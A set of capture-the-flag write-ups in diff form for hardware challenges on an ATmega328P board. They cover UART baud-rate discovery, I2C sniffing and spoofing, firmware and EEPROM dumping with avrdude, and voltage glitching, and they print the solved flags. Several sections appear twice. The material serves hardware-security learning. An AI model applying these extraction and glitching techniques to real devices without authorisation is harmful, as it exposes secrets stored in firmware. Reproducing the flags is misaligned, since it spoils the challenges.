+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
